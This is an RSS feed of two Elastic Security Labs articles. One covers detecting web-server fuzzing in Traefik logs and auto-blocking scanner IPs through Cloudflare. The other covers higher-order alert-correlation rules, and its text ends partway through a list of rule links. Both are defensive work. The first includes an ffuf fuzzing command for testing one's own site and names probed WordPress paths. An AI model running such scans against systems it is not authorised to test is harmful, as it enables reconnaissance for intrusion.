<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title><![CDATA[Threat Hunting - Elastic Security Labs]]></title>
    <description><![CDATA[Trusted security news & research from the team at Elastic.]]></description>
    <copyright><![CDATA[© 2026. Elasticsearch B.V. All Rights Reserved]]></copyright>
    <image>
      <title><![CDATA[Threat Hunting - Elastic Security Labs]]></title>
      <url>https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2c6b841aff36df4/6a88d9784acc96e3f324863d/security-labs-thumbnail.png</url>
      <link>https://www.elastic.co/security-labs/blog/category/threat-hunting</link>
    </image>
    <link>https://www.elastic.co/security-labs/blog/category/threat-hunting</link>
    <atom:link href="https://www.elastic.co/security-labs/rss/category/threat-hunting.xml" rel="self" type="application/rss+xml"/>
    <language><![CDATA[en]]></language>
    <lastBuildDate>Wed, 16 Sep 2026 15:16:50 GMT</lastBuildDate>
  <item>
    <title><![CDATA[Detecting Web Server Probing & Fuzzing in Traefik with Automated Cloudflare Response]]></title>
    <description><![CDATA[This article shows how a customized Elastic Security ES|QL detection rule can identify web server probing and fuzzing activity in Traefik logs and automatically block the attacking IP via Cloudflare.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Self-hosted services exposed through a reverse proxy inevitably attract automated scanners probing for misconfigurations, admin panels, and vulnerable endpoints. In this article, I show how to turn routine <a href="https://traefik.io/traefik">Traefik</a> access logs into an active defensive control using Elastic Security and Cloudflare.</p>
<p>I use an out-of-the-box <a href="https://www.elastic.co/docs/explore-analyze/discover/try-esql">ES|QL</a> detection rule to identify <a href="https://elastic.github.io/detection-rules-explorer/rules/8383a8d0-008b-47a5-94e5-496629dc3590">web server discovery and fuzzing behavior</a>. When suspicious probing patterns are detected, an automated workflow immediately blocks the offending source IP at the edge via the Cloudflare API. The best part about this setup is that it scales effortlessly. By building this response plumbing once for fuzzing detection, I can attach the exact same block action to any other Elastic rule such as those catching SQL injections or file inclusion attempts. This transforms a basic logging pipeline into a highly adaptable perimeter defense.</p>
<h2 id="backgroundandthethreatlandscape">Background and the threat landscape</h2>
<p>My homelab setup utilizes Proxmox VE for containers and VMs. I use a Traefik reverse proxy, secured with <a href="https://www.authelia.com/">Authelia</a> for authentication, to allow external access without a VPN. Cloudflare, with proxy enabled, manages DNS.</p>
<p>For those less familiar with this specific stack, Traefik acts as the network's front door. When a web request arrives via Cloudflare, Traefik dynamically routes the traffic to the correct internal container while managing SSL certificates to keep the connections encrypted. However, before any traffic actually reaches those backend applications, it gets intercepted by Authelia. By leveraging Traefik's forward authentication feature, Authelia enforces Single Sign-On and Multi-Factor Authentication across the board. This means automated scanners and attackers cannot even reach the login screens of my internal services without passing through that initial secure portal.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfa1bee41ce1adaac/6a7d7f14227b1c4c175957a4/image1.png" alt="Network diagram" title="Network diagram" />  </p>
<p>To maintain visibility and security, I ingest these Traefik access logs into Elastic using the official integration. During routine monitoring, I've observed numerous HTTP 404 response codes originating from the same source IP addresses in these logs.</p>
<p>This pattern suggests potential web server probing or fuzzing traffic targeting vulnerabilities in applications that are not actually in use on my network. Examples of these targeted paths include <code>/wp-includes/mani.</code>, <code>/wp-content/plugins/all-in-one-wp-security-and-firewall/templates.php</code>, <code>/archive.php</code>, and <code>/wp-admin/includes/header.php</code>.</p>
<h3 id="designphilosophywhynotfail2ban">Design philosophy: why not Fail2Ban?</h3>
<p>A common question in the homelab community is why not simply use local tools like <a href="https://github.com/fail2ban/fail2ban">Fail2Ban</a> or <a href="https://www.crowdsec.net/">CrowdSec</a> directly on the Traefik server. While those are excellent tools, orchestrating the response through Elastic Security and pushing the block to Cloudflare provides two major advantages. Dropping malicious traffic at the Cloudflare edge saves local bandwidth and keeps scanners off the home network entirely. Plus, orchestrating the response through Elastic gives us a single pane of glass for all security monitoring.</p>
<h2 id="detectionstrategyandimplementationstrategy">Detection strategy and implementation strategy</h2>
<p>To effectively identify malicious reconnaissance, our strategy relies on analyzing the frequency of HTTP response codes at the proxy level. Specifically, we are looking for a high volume of 404 (Not Found) errors generated by a single source IP within a short time window, a classic indicator of directory fuzzing or vulnerability scanning.</p>
<p>While Elastic Security provides robust, out-of-the-box detection rules for this exact scenario, these rules require properly normalized ECS (Elastic Common Schema) data to function correctly. Detecting and mitigating these scans therefore requires a coordinated flow. To get this working, we need to ingest the Traefik logs, patch in the missing <code>host.name</code> field using a custom pipeline, and point the detection rule at our data.</p>
<h3 id="thresholdlogicandtuning">Threshold logic and tuning</h3>
<p>Our detection strategy shifts away from simple string matching, relying instead on statistical thresholds. The rule specifically monitors for denied or non-existent resources represented by HTTP 403 and 404 response codes and aggregates this activity by the originating source IP.</p>
<p>This behavior is governed by the final <code>where</code> statement in the query. By default, an alert only triggers if a source IP produces more than 500 errors across 250 distinct URI paths during the polling window. This dual-layered threshold is designed to eliminate false positives, ensuring that a single broken asset doesn't trigger a block while still identifying automated scripts that cycle through directory wordlists.</p>
<p>In a smaller homelab or smaller teams environment, these defaults are often too permissive. Since legitimate external traffic has no reason to hit non-existent admin panels on my network, I adjusted the sensitivity to catch stealthier reconnaissance efforts early. I modified the logic to trigger when <code>event_count &gt; 100</code> and <code>url_original_count_distinct &gt; 50</code>.</p>
<p>For production environments where applications naturally generate higher error volumes, you might consider increasing these values or appending an ES|QL <code>where not</code> clause to exclude known broken links. Finally, I use a <code>where source.ip not in (...)</code> filter to ensure that authorized security tools or personal vulnerability scanners are not accidentally banned by the automated workflow.</p>
<h3 id="ingestingtraefikaccesslogs">Ingesting Traefik access logs</h3>
<p>To ingest the Traefik access logs into the cluster, I used the default <a href="https://www.elastic.co/docs/reference/integrations/traefik">integration for Traefik</a>. The Elastic Agent collects logs from Traefik servers. This integration writes the ingested logs into the <code>logs-traefik.access-default</code> datastream.  </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5c8e79495571f2cc/6a7d7f166c6eac7716f11300/image5.png" alt="" /></p>
<h3 id="buildingacustomingestpipeline">Building a custom ingest pipeline</h3>
<p>The <code>host.name</code> field is crucial for the detection rule I'm using, but the default Traefik integration doesn't populate it. Therefore, a custom ingest pipeline is required to add this field. Since the Traefik integration utilizes a file stream on the Traefik server, I can copy the value from the existing <code>agent.name</code> field to populate <code>host.name</code>.</p>
<p>I specifically use the <code>logs-traefik.access@custom</code> pipeline instead of modifying the main one. Elastic integrations are designed to automatically pick up and run these <code>@custom</code> pipelines right at the end of their processing flow. More importantly, default pipelines get completely overwritten whenever I upgrade an integration. Stashing my logic in the custom pipeline ensures that my field mappings actually survive the next update. The necessary API call to create this pipeline can be executed in the Dev Tools console:</p>
<pre><code>PUT _ingest/pipeline/logs-traefik.access@custom
{
  "description": "copy the agent.name field to the host.name field",
  "processors": [
    {
      "set": {
        "field": "host.name",
        "value": "{{{agent.name}}}",
        "override": false,
        "ignore_empty_value": true,
        "ignore_failure": true
      }
    }
  ]
}
</code></pre>
<h2 id="automatedresponseviacloudflareworkflow">Automated response via Cloudflare workflow</h2>
<p>To move from detection to active defense, we implement a workflow that bridges the gap between our Elastic alerts and the Cloudflare edge. The logic is designed to be efficient: rather than creating a new firewall rule for every single alert, which would quickly hit Cloudflare’s rule limits, the workflow first retrieves the existing blocklist. It then dynamically appends the new offending source IP to that list before pushing the update back to the Cloudflare API. Once the edge is secured, the workflow finishes by acknowledging the alert in Elastic, effectively closing the loop on the incident.</p>
<h3 id="prerequisitesandtokenscope">Prerequisites and token scope</h3>
<p>This process requires both an API key and the Zone ID for the Cloudflare configuration. The API token must possess "Zone WAF edit" privileges to enable the creation of the rule. When generating this token in the Cloudflare dashboard, use the "Create Custom Token" option and set the permissions strictly to <code>Zone -&gt; Zone WAF -&gt; Edit</code><strong>.</strong>  </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb25f5eef42ee506f/6a7d7f19de2315659cfd4db8/image3.png" alt="" /></p>
<p>Once the workflow is configured, it must be assigned as an action to the "Web Server Discovery or Fuzzing Activity" detection rule.</p>
<p>With the prerequisites in place, let's walk through how we build the workflow step-by-step.</p>
<h3 id="workflowconfigurationandtriggers">Workflow configuration and triggers</h3>
<p>First, we define the basic metadata. This workflow blocks the IP addresses found in the alerts of the Web Server Discovery or Fuzzing Activity. The workflow is enabled and has a timeout of 30 seconds for the API request. In this case, it's based on an alert, so it runs automatically when a security alert is triggered.</p>
<pre><code># =========================================================================
# Workflow: Block IP at Cloudflare test
# Category: security/response
# =========================================================================
version: '1'
name: Block IP at Cloudflare
enabled: true

triggers:
  - type: alert
</code></pre>
<h3 id="constantsandauthentication">Constants and authentication</h3>
<p>This section holds the variables for authentication. Remember to substitute the placeholder strings with your actual API token and Zone ID.</p>
<pre><code>consts:
  cloudflare_api: "&lt;cloudflare API&gt;"
  cloudflare_zone: "&lt;cloudflare ZONE&gt;"
</code></pre>
<h3 id="step1retrievingthecurrentblocklist">Step 1: Retrieving the current blocklist</h3>
<p>The sequence checks if the firewall rule already exists. The workflow makes an HTTP GET request to retrieve the existing IP block rule.</p>
<pre><code>steps:
  - name: cloudflare_current_block
    type: http
    with:
      url: "https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint"
      headers:
        Authorization: Bearer {{consts.cloudflare_api}}
      method: GET
    on-failure:
      continue: true
</code></pre>
<h3 id="step2updatingorcreatingthefirewallrule">Step 2: Updating or creating the firewall rule</h3>
<p>If it exists, the rule gets appended with the IP address otherwise, the rule gets created. The workflow identifies if the "webserver scanning block" description is present. If so, it appends the new IP address to the current list of blocked IP addresses via a PUT request. If not, it falls back to creating a new rule.</p>
<pre><code> - name: cloudflare_block
    type: if
    condition: 'steps.cloudflare_current_block.output.data.result.rules[0].description == "webserver scanning block"'
    steps:
      - name: ip-block-cloudflare_add
        type: http
        with:
          url: "https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint"
          method: PUT
          headers:
            Authorization: Bearer {{consts.cloudflare_api}}
          timeout: 30s
          body: '{ "rules": [ { "description": "webserver scanning block", "expression": "{{steps.cloudflare_current_block.output.data.result.rules[0].expression}} or (ip.src eq {{event.alerts[0].source.ip}})", "action": "block" } ]}'
    else:
      - name: ip-block-cloudflare_new
        type: http
        with:
          url: "https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint"
          method: PUT
          headers:
            Authorization: Bearer {{consts.cloudflare_api}}
          timeout: 30s
          body: '{ "rules":[ { "description": "webserver scanning block", "expression": "(ip.src eq {{event.alerts[0].source.ip}})", "action": "block" } ]}'
    on-failure:
      continue: true
</code></pre>
<h3 id="step3acknowledgingthealert">Step 3: Acknowledging the alert</h3>
<p>Then the alert gets acknowledged. This step uses the <code>kibana.SetAlertsStatus</code> action to automatically close out the alert in Elastic Security.</p>
<pre><code>  - name: update_alert_status
    type: kibana.SetAlertsStatus
    with:
      status: "acknowledged"
      signal_ids: ["{{event.alerts[0]._id}}"]
</code></pre>
<h3 id="step4attachingtheworkflowtotherule">Step 4: Attaching the Workflow to the Rule</h3>
<p>With the workflow fully built, the final step is to actually attach it to the detection rule so it fires automatically. In the Elastic Security rule settings for the "Web Server Discovery or Fuzzing Activity" rule, I navigate to the <strong>Rule actions</strong> tab and add a new action. From the connector dropdown, I simply select the Cloudflare workflow I just created.  </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfe2709d09cbafa00/6a7d7f1c448e4ed5af5bdad1/image2.png" alt="" /></p>
<h3 id="noteonwaflimits">Note on WAF limits</h3>
<p>Because this workflow concatenates IP addresses using an <code>or</code> statement (<code>or (ip.src eq &lt;IP&gt;)</code>), be mindful that Cloudflare has a character limit for custom WAF expressions (typically 4096 characters on standard tiers). In highly targeted environments, this string can eventually hit the limit. For homelabs and small teams, occasionally clearing out this WAF rule manually serves as a healthy reset.</p>
<h2 id="testingandvalidation">Testing and Validation</h2>
<p>To verify the pipeline is working end-to-end, we can generate some noise with a standard fuzzing tool. You can simulate a scanning attack against your own homelab using a fuzzing tool like <code>ffuf</code> or <code>gobuster</code>.</p>
<p>Run a quick scan against a non-existent directory on your public-facing Traefik domain:</p>
<pre><code>ffuf -u https://your-domain.com/FUZZ -w /path/to/wordlist.txt
</code></pre>
<p>Once the simulation is running, we can observe the automated defense chain in action. The 404 errors appear almost immediately in the <code>logs-traefik.access-default</code> datastream. Within the polling interval, the ES|QL rule identifies the pattern and generates a new alert in the Elastic Security Alerts page. From there, the workflow takes over: it shifts the alert status to "acknowledged" and pushes the IP block to our Cloudflare WAF rule, effectively neutralizing the scanner at the edge before it can continue its reconnaissance.</p>
<p>You can confirm the block was successful by checking your Cloudflare Dashboard under <code>Security -&gt; WAF -&gt; Custom rules</code>. <em>(Note: Be sure to remove your IP from the Cloudflare rule afterwards so you don't lock yourself out!)</em></p>
<h3 id="expandingthedefense">Expanding the defense</h3>
<p>The beauty of this setup is that our Cloudflare workflow isn't limited to just fuzzing detection. Once the automation is built, we can attach it to any Elastic rule that flags suspicious proxy traffic. For instance, we can tie this exact same response action to out-of-the-box rules targeting specific application exploits, like <a href="https://elastic.github.io/detection-rules-explorer/rules/90e4ceab-79a5-4f8e-879b-513cac7fcad9">Web Server Local File Inclusion Activity</a>, <a href="https://elastic.github.io/detection-rules-explorer/rules/45d099b4-a12e-4913-951c-0129f73efb41">Web Server Potential Remote File Inclusion Activity</a> to drop the attacker immediately. It also pairs perfectly with <a href="https://elastic.github.io/detection-rules-explorer/rules/6631a759-4559-4c33-a392-13f146c8bcc4">Potential Spike in Web Server Error Logs</a> and <a href="https://elastic.github.io/detection-rules-explorer/rules/a1b7ffa4-bf80-4bf1-86ad-c3f4dc718b35">Unusual Web User Agent</a> to catch misconfigured scrapers and broader network noise. We build the plumbing once, and suddenly the whole perimeter gets smarter.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Wiring Traefik and Cloudflare into Elastic Security is a great way to turn basic access logs into an active defense. Homelab environments are constantly bombarded by automated scanners looking for low-hanging fruit. This automated workflow not only blocks attackers at the edge but also reduces alert fatigue by acknowledging the incidents automatically. It is a practical example of how security orchestration and response can save time while significantly improving your security posture.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/detecting-web-server-probing-and-fuzzing</link>
    <guid isPermaLink="false">detecting-web-server-probing-and-fuzzing</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Erik-Jan de Kruijf]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt32a044780357cfce/6a7d7f1f8fc2d002ee3eb82f/detecting-web-server-probing-and-fuzzing.webp" length="0" type="image/webp"/>
    <pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Prioritizing Alerts Triage with Higher-Order Detection Rules]]></title>
    <description><![CDATA[Scaling SOC efficiency through multi-signal correlation and higher-order detection patterns.]]></description>
    <content:encoded><![CDATA[<p>At Elastic, we operate a large and diverse set of behavior detection rules across multiple datasets, environments, and severity levels. Most of these rules are atomic, each designed to detect a specific behavior, signal, or attack pattern. In addition, we ingest and promote <a href="https://github.com/elastic/detection-rules/tree/main/rules/promotions">external alerts</a> from security integrations such as firewalls, EDR, WAF, and other security controls.</p>
<p>The result is powerful visibility but also significant alert volume. From our telemetry, even when considering only non <a href="https://www.elastic.co/docs/solutions/security/detect-and-alert/about-building-block-rules">Building Block Rules</a>, <strong>65</strong> unique detection rules generate nearly <strong>8000 alerts per day per production cluster</strong>. Analyzing each alert in isolation is neither scalable nor cost-effective.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt44fc23303e3a2139/6a7d812a96b5a62fca878641/image6.png" alt="" /></p>
<p>This is where <strong>Higher-Order Rules</strong> come into play.</p>
<p><a href="https://github.com/search?q=repo%3Aelastic%2Fdetection-rules++%22Rule+Type%3A+Higher-Order+Rule%22+path%3A%2F%5Erules%5C%2F%2F&amp;type=code">Higher-order</a> rules do not detect a single behavior. Instead, they correlate related alerts over time, across data sources, or within a shared context (such as host, user, IP, or process). By grouping signals into meaningful patterns, we can prioritize what truly matters and reduce the need for deep, expensive analysis on every individual alert whether performed manually, automated, or augmented by AI.</p>
<p>In this blog, we’ll walk through our approach to building Higher-Order Rules in Elastic, share practical examples, and highlight key lessons learned along the way.</p>
<h2 id="whatarehigherorderrules">What Are Higher-Order Rules?</h2>
<p>Higher-Order Rules (HOR) are detections that use <strong>alerts as input</strong>, either correlating alerts with other alerts (alert-on-alert) or combining alerts with additional data such as raw events, metrics, or contextual telemetry.</p>
<p>Unlike atomic rules that detect a single behavior, Higher-Order Rules identify patterns across signals. Their purpose is not to replace base detections, but to elevate combinations of findings that are more likely to represent real attack activity. In practice, they surface higher-confidence findings and improve triage prioritization. Higher-Order rules are designed to work alongside <a href="https://www.elastic.co/docs/solutions/security/detect-and-alert/about-building-block-rules">Building Block Rules</a>. Building block rules generate alerts that do not appear in the default alerts view, reducing noise while still feeding correlated detections. Many of the base rules referenced in this article can be also configured as building block rules, so that only Higher-Order correlations surface for analyst review. </p>
<p>The core insight is that independent detections converging on the same entity compound confidence, where each additional signal multiplies the likelihood that the activity is real, not benign.These three design principles operationalize that insight:</p>
<h3 id="1entitybasedcorrelation">1. Entity-Based Correlation</h3>
<p>Rules correlate activity by shared entities such as host, user, source IP, destination IP, or process - allowing analysts to quickly see when multiple findings converge on the same asset or identity.</p>
<h3 id="2crossdatasourcevisibility">2. Cross–Data Source Visibility</h3>
<p>Some rules operate within a single integration (for example, endpoint-only detections from Elastic Defend or third-party EDR). Others intentionally combine signals across domains endpoint with network (PANW, FortiGate, Suricata), endpoint with email, or endpoint with system metrics to capture multi-stage or cross-surface activity.</p>
<h3 id="3timeandprevalenceawareness">3. Time and Prevalence Awareness</h3>
<p>Temporal logic plays a key role.</p>
<p>Newly observed rules highlight the first occurrence of a given alert within a defined lookback window (for example, five days), ensuring that even a single rare alert is surfaced for review.</p>
<p>Prevalence-based logic (such as using INLINE STATS) filters for alerts that occur on only a small number of hosts globally, helping reduce noise and emphasize anomalous behavior.</p>
<p>The full set of Higher-Order Rules spans endpoint-only correlations, cross-domain detections (endpoint + network, endpoint + email), lateral movement patterns (for example, <code>alert_1 host.ip = alert_2 source.ip</code>), ATT&amp;CK-aligned groupings (single or multi-tactic activity), newly observed alerts, and alert-to-event correlation (such as alerts combined with abnormal CPU metrics). The following sections walk through representative examples from these categories.</p>
<h2 id="correlationandnewlyobservedhigherorderrules">Correlation and Newly Observed Higher-Order Rules</h2>
<p>In practice, high-risk activity does not always look the same.</p>
<p>Sometimes compromise reveals itself through <strong>multiple converging signals</strong>. Other times, it appears as a <strong>single alert that has never been seen before</strong>.</p>
<p>To handle both realities, we organize our Higher-Order Rules into three complementary patterns:</p>
<ul>
<li><strong>Correlation rules</strong> multiple alerts or events linked to a shared entity (host, user, IP, or process).  </li>
<li><strong>Newly observed rules</strong> a single alert that is rare or first-seen within a defined time window.  </li>
<li><strong>Hybrid patterns</strong> combining correlation with first-seen logic, which can further elevate suspicion and surface particularly interesting activity.</li>
</ul>
<p>Correlation rules raise confidence through signal density and diversity: when several independent detections point to the same entity, the likelihood of real malicious activity increases.</p>
<p>Newly observed rules address the opposite case, low volume but high novelty. They prioritize alerts based on rarity over time, ensuring that first-time or highly unusual detections are not overlooked simply because they occur once.</p>
<p>Together, these approaches form the foundation of an efficient and scalable triage strategy.</p>
<p>Let’s dive into examples and explore the differences, strengths, and trade-offs of each pattern.</p>
<h3 id="endpointalertscorrelation">Endpoint Alerts Correlation</h3>
<p>A significant portion of real-world attack discovery comes from endpoint telemetry. It provides rich context process activity, command lines, file behavior, and user actions making it one of the most powerful detection sources.</p>
<p>At the same time, endpoint environments are dynamic. Legitimate software, admin tools, and third-party applications (and recently GenAI endpoint utilities 🥲) can generate high alert volume and false positives, requiring continuous tuning.</p>
<p>Higher-Order correlation helps address this by shifting the focus from individual alerts to <strong>multiple distinct signals on the same host or process</strong> increasing confidence while reducing unnecessary investigation effort.</p>
<p>The following ES|QL query triggers when there are 3 unique Elastic Defend behavior rules OR alerts from different features (e.g. one shellcode_thread with behavior, malicious_file with behavior) OR more than 2 malware alerts in a 24h time Window from the same host:</p>
<pre><code>from logs-endpoint.alerts-* metadata _id
| eval day = DATE_TRUNC(24 hours, @timestamp)
| where event.code in ("malicious_file", "memory_signature",  "shellcode_thread", "behavior") and 
 agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus")
| stats Esql.alerts_count = COUNT(*),
        Esql.event_code_distinct_count = count_distinct(event.code),
        Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name),
        Esql.file_hash_distinct_count = COUNT_DISTINCT(file.hash.sha256),
        Esql.process_entity_id_distinct_count = COUNT_DISTINCT(process.entity_id) by host.id, day
| where (Esql.event_code_distinct_count &gt;= 2 or Esql.rule_name_distinct_count &gt;= 3 or Esql.file_hash_distinct_count &gt;= 2)
</code></pre>
<p>To further raise suspicion, we can also correlate Elastic Defend alerts that belong to the same process tree: </p>
<pre><code>from logs-endpoint.alerts-*
| where event.code in ("malicious_file", "memory_signature", "shellcode_thread", "behavior") and
        agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus") and process.Ext.ancestry is not null

// aggregate alerts by process.Ext.ancestry and agent.id
| stats Esql.alerts_count = COUNT(*),
        Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name),
        Esql.event_code_distinct_count = COUNT_DISTINCT(event.code),
        Esql.process_id_distinct_count = COUNT_DISTINCT(process.entity_id),
        Esql.message_values = VALUES(message),
   ... by process.Ext.ancestry, agent.id

// filter for at least 3 unique process IDs and 2 or more alert types or rule names.
| where Esql.process_id_distinct_count &gt;= 3 and (Esql.rule_name_distinct_count &gt;= 2 or Esql.event_code_distinct_count &gt;= 2)

// keep unique values
| stats Esql.alert_names = values(Esql.message_values),
        Esql.alerts_process_cmdline_values = VALUES(Esql.process_command_line_values),
... by agent.id
| keep Esql.*, agent.id
</code></pre>
<p>Example of matches:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt45cb5d410ce7283b/6a7d812db43770def44d3f6f/image9.png" alt="" /></p>
<p>To complement our coverage, we will need to also look for rare atomic ones.  The following ES|QL is designed to run on a 10-minute schedule with a 5 or 7 day lookback window. The lookback aggregates all alerts by rule name over the full window to compute first-seen time. The final filter (<code>Esql.recent &lt;= 10</code>) ensures only rules whose first-seen time falls within with current 10-minute execution window are surfaced, effectively detecting the moment a rule fires for the first time in the lookback period. This surfaces both rare false positives and stealthy behaviors that might otherwise be lost in volume:</p>
<pre><code>from logs-endpoint.alerts-*
| WHERE event.code == "behavior" and rule.name is not null
| STATS Esql.alerts_count = count(*),
        Esql.first_time_seen = MIN(@timestamp),
        Esql.last_time_seen = MAX(@timestamp),
        Esql.agents_distinct_count = COUNT_DISTINCT(agent.id),
        Esql.process_executable = VALUES(process.executable),
        Esql.process_parent_executable = VALUES(process.parent.executable),
        Esql.process_command_line = VALUES(process.command_line),
        Esql.process_hash_sha256 = VALUES(process.hash.sha256),
        Esql.host_id_values = VALUES(host.id),
        Esql.user_name = VALUES(user.name) by rule.name
// first time seen in the last 5 days - defined in the rule schedule Additional look-back time
| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now())
// first time seen is within 10m of the rule execution time
| where Esql.recent &lt;= 10 and Esql.agents_distinct_count == 1 and Esql.alerts_count &lt;= 10 and (Esql.last_time_seen == Esql.first_time_seen)
// Move single values to their corresponding ECS fields for alerts exclusion
| eval host.id = mv_min(Esql.host_id_values)
| keep host.id, rule.name, Esql.*
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt445301f916d2bb82/6a7d813077b0341d433fc662/image7.png" alt="" /></p>
<p>The same <a href="https://github.com/elastic/detection-rules/blob/d358641c452dc0af5ab85d02f6f8948ec57c7ab9/rules/cross-platform/multiple_external_edr_alerts_by_host.toml#L16">logic</a> can be applied to an <a href="https://github.com/elastic/detection-rules/blob/main/rules/promotions/external_alerts.toml#L27">External Alert</a> from other third party EDRs:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt37489c3211b8e46a/6a7d8133ead8ec07ffba7b36/image2.png" alt="" /></p>
<h3 id="endpointwithnetworkalertscorrelation">Endpoint with Network Alerts Correlation</h3>
<p>A powerful detection approach is correlating endpoint alerts with network alerts. This helps answer the key question:</p>
<p><strong>Which process triggered this network alert?</strong></p>
<p>Network alerts alone often lack process context, such as which user or executable initiated the activity. By combining network alerts with endpoint telemetry (EDR data), you can enrich alerts with:</p>
<ul>
<li>Process name and hash  </li>
<li>Command line and parent process  </li>
<li>User and device information</li>
</ul>
<p>The following query correlates any Elastic Defend alert with suspicious events from network security devices such as Palo Alto Networks (PANW) and Fortinet FortiGate. The join key is the IP address: for network alerts, this is <code>source.ip</code>, for endpoint alerts, it is <code>host.ip</code>. The query normalizes these into a single field using <code>COALESCE</code>, enabling correlation across data sources that use different field names for the same entity. This may indicate that this host is compromised and triggering multi-datasource alerts.</p>
<pre><code>FROM logs-* metadata _id
| WHERE 
 (event.module == "endpoint" and event.dataset == "endpoint.alerts") or
 (event.dataset == "panw.panos" and event.action in ("virus_detected", "wildfire_virus_detected", "c2_communication", ...)) or
 (event.dataset == "fortinet_fortigate.log" and (...)) or
 (event.dataset == "suricata.eve" and message in ("Command and Control Traffic", "Potentially Bad Traffic", ...))
| eval 
      fw_alert_source_ip = CASE(event.dataset in ("panw.panos", "fortinet_fortigate.log"), source.ip, null),
      elastic_defend_alert_host_ip = CASE(event.module == "endpoint" and event.dataset == "endpoint.alerts", host.ip, null)
| eval Esql.source_ip = COALESCE(fw_alert_source_ip, elastic_defend_alert_host_ip)
| where Esql.source_ip is not null
| stats Esql.alerts_count = COUNT(*),
        Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),
        Esql.message_values_distinct_count = COUNT_DISTINCT(message),
        ... by Esql.source_ip
| where Esql.event_module_distinct_count &gt;= 2 AND Esql.message_values_distinct_count &gt;= 2
| eval concat_module_values = MV_CONCAT(Esql.event_module_values, ",")
| where concat_module_values like "*endpoint*"
</code></pre>
<p>Example of matches correlating Elastic Defend and Fortigate alerts where the source.ip of the FortiGate alert is equal to the host.ip of the Elastic Defend endpoint alert :</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta496ce7cd00a8298/6a7d813696b5a6e5ea878645/image3.png" alt="" /></p>
<p>The following EQL query correlates Suricata alerts with Elastic Defend network events to provide context about the source process and host: </p>
<pre><code>sequence by source.port, source.ip, destination.ip with maxspan=5s
// Suricata severithy 3 corresponds to information alerts, which are excluded to reduce noise
[network where event.dataset == "suricata.eve" and event.kind == "alert" and  event.severity != 3 and source.ip != null and destination.ip != null]
[network where event.module == "endpoint" and event.action in  ("disconnect_received", "connection_attempted")]
</code></pre>
<p>Example of matches confirming the Suricata alert and linking it to the target web server process nginx from Elastic Defend events confirming the web-exploitation attempt: </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc6107a0cc68ee987/6a7d81382f00b20bc8efbefb/image8.png" alt="" /></p>
<h3 id="endpointsecuritywithobservability">Endpoint Security with Observability</h3>
<p>Correlating observability telemetry with security alerts is a powerful detection strategy.</p>
<p>The <a href="https://en.wikipedia.org/wiki/XZ_Utils_backdoor">XZ</a> Utils backdoor incident demonstrated that security-relevant anomalies may first surface as performance regressions rather than traditional security alerts. In that case, unusual behavior in the SSH daemon led to deeper investigation and eventual discovery of malicious code.</p>
<p>This highlights an important principle: <strong>operational anomalies can be early indicators of compromise.</strong></p>
<p>With the <a href="https://www.elastic.co/docs/reference/integrations/system#metrics-reference">Elastic Agent</a>, system metrics such as CPU and memory utilization can be collected alongside security telemetry. By correlating abnormal resource spikes with SIEM alerts either by process or by host we can increase detection confidence and surface high-risk activity earlier.</p>
<p>For example, an ES|QL correlation rule can identify a process exhibiting sustained 70% CPU utilization that is also the source of a memory signature alert for a cryptominer from Elastic Defend. Individually, each signal may be low or medium severity. Correlated together, they represent high-confidence malicious activity.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9c15f429f17e77f6/6a7d813b3cab1c0ed20e1a02/image1.png" alt="" /> </p>
<p>We developed <strong>over 30 Higher-Order detections</strong> covering various types of relationships. While we can’t cover all of them here, the links below provide <strong>enough context to adapt these rules to your environment</strong>:</p>
<p>Endpoint Alerts:<br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/multiple_alerts_edr_elastic_defend_by_host.toml#L16">Multiple Elastic Defend Alerts by Agent</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/multiple_alerts_edr_elastic_same_process_tree.toml#L16">Multiple Elastic Defend Alerts from a Single Process Tree</a><br />
<a href="https://github.com/elastic/detection-rules/blob/6a7c1e96749fd5c2fc8801da747f4e29d18150a1/rules/cross-platform/multiple_elastic_defend_behavior_rules_same_host_prevalence.toml#L19">Multiple Rare Elastic Defend Behavior Rules by Host</a><br />
